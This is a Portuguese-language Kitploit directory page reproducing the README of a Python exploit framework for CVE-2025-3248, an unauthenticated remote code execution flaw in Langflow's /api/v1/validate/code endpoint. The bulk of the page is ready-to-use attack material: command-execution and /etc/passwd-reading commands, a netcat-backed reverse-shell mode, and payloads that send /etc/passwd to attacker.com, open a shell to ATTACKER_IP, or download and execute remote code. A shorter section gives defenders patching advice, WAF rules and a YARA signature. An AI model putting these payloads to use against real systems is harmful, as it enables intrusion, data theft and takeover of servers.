Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/drackyjr/cve-2025-3248-exploit
Scanners de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebColeta de InformaçõesPós-ExploraçãoTestes de PenetraçãoComando e ControleAprendizado e Educação
Red Teaming
Desenvolvimento de Payloads
GitHubdrackyjr/cve-2025-3248-exploit

cve-2025-3248-exploit

Um framework abrangente de exploração em Python para testar e demonstrar a CVE-2025-3248, uma vulnerabilidade crítica de execução remota de código não autenticada no Langflow versões ≤ 1.3.0.

Ver Repositório
39há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-3248: Scanner de Vulnerabilidade RCE Não Autenticado do Langflow

License Python Status CVSS EPSS

Um framework abrangente de exploração em Python para testar e demonstrar a CVE-2025-3248, uma vulnerabilidade crítica de execução remota de código não autenticada no Langflow versões ≤ 1.3.0.


🔴 Visão Geral da Vulnerabilidade

CVE-2025-3248: Injeção de Código RCE no Langflow

PropriedadeValor
ID CVECVE-2025-3248
ProdutoLangflow
Versões Afetadas≤ 1.3.0
Tipo de VulnerabilidadeExecução Remota de Código Não Autenticada (RCE)
Vetor de AtaqueRede
Autenticação NecessáriaNenhuma
Pontuação CVSS9.8 (Crítica)
Pontuação EPSS92.57%
CWECWE-94 (Controle Impróprio da Geração de Código)
Endpoint Vulnerável/api/v1/validate/code

Causa Raiz

A vulnerabilidade existe no endpoint de API /api/v1/validate/code, que aceita código Python arbitrário e o valida usando a função insegura exec() do Python, sem sanitização adequada de entrada ou sandboxing. A vulnerabilidade explora o comportamento do Python em que:

  1. Decoradores são avaliados imediatamente durante a definição da função
  2. Valores de argumento padrão são executados durante a análise da Árvore Sintática Abstrata (AST)
  3. Nenhuma validação de entrada existe para impedir a execução de código malicioso

Cadeia de Ataque

Attacker → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   No Auth Required
     ↓
   Arbitrary Python Code
     ↓
   System Command Execution

✨ Recursos

  • ✅ Detecção de Endpoint: Identifica automaticamente instâncias Langflow vulneráveis
  • ✅ Teste em Múltiplas Etapas: 4 testes progressivos de vulnerabilidade
  • ✅ Execução de Comandos: Execute comandos arbitrários do sistema no alvo
  • ✅ Extração de Ambiente: Recupere variáveis de ambiente e configuração
  • ✅ Operações de Arquivo: Teste capacidades de leitura/escrita de arquivos
  • ✅ Suporte a Reverse Shell: Inicie sessões interativas de reverse shell
  • ✅ Detecção de Versão: Identifique informações de versão do Langflow
  • ✅ Saída com Código de Cores: Legibilidade aprimorada com cores de terminal
  • ✅ Gerenciamento de Timeout: Timeouts de requisição configuráveis
  • ✅ Bypass de SSL/TLS: Suporte para certificados autoassinados

📦 Requisitos

Python >= 3.7
requests >= 2.25.0

Instalar Dependências

pip install requests

Opcional (para melhores logs)

pip install colorama  # For Windows color support

🚀 Instalação

Método 1: Clonar do GitHub

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 Uso

Sintaxe Básica

python3 cve_2025_3248_test.py -t <target_url> [options]

Exemplos de Início Rápido

1. Verificação Básica de Vulnerabilidade

python3 cve_2025_3248_test.py -t http://target.com

2. Executar Comando Personalizado

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. Executar Múltiplos Comandos

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. Exploração com Reverse Shell (Somente Testes Autorizados)

Passo 1: Inicie um listener netcat na sua máquina

nc -lvnp 4444

Passo 2: Execute o exploit

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

Exemplo:

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. Verificação com Timeout Personalizado

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

Argumentos de Linha de Comando

positional arguments:
  None

optional arguments:
  -t, --target TARGET       Target URL (e.g., http://target.com) [REQUIRED]
  -c, --command COMMAND     Command to execute (default: id)
  --timeout TIMEOUT         Request timeout in seconds (default: 10)
  --exploit                 Enable exploitation mode (reverse shell)
  --lhost LHOST            Your IP address for reverse shell
  --lport LPORT            Your port for reverse shell
  -h, --help               Show this help message

💾 Variações de Payload

1. Execução Baseada em Decorador

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. Execução por Argumento Padrão

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. Exfiltração de Dados

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. Reverse Shell (One-Liner)

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. Operações de Leitura de Arquivos

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. Enumeração de Variáveis de Ambiente

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. Baixar e Executar

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 Detecção e Mitigação

Para Defensores

Ações Imediatas

  1. Atualize o Langflow

    pip install langflow>=1.3.0
    # or
    docker pull langflow:latest
    
  2. Restrinja o Acesso à Rede

    # Nginx reverse proxy - block vulnerable endpoint
    location /api/v1/validate/code {
        deny all;
    }
    
  3. Implemente Autenticação

    # Add authentication middleware
    @app.middleware("http")
    async def auth_middleware(request, call_next):
        if "/api/v1/validate/code" in request.url.path:
            if not verify_auth(request):
                return JSONResponse(status_code=401)
        return await call_next(request)
    

Regras de WAF

Regra ModSecurity:

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

Regras de Detecção

Assinatura YARA:

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

Monitoramento e Logs

# Monitor for suspicious requests
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# Alert on POST requests to vulnerable endpoint
auditctl -w /var/lib/langflow -p wa -k langflow_changes

Indicadores de Comprometimento (IoCs)

Baixar ferramenta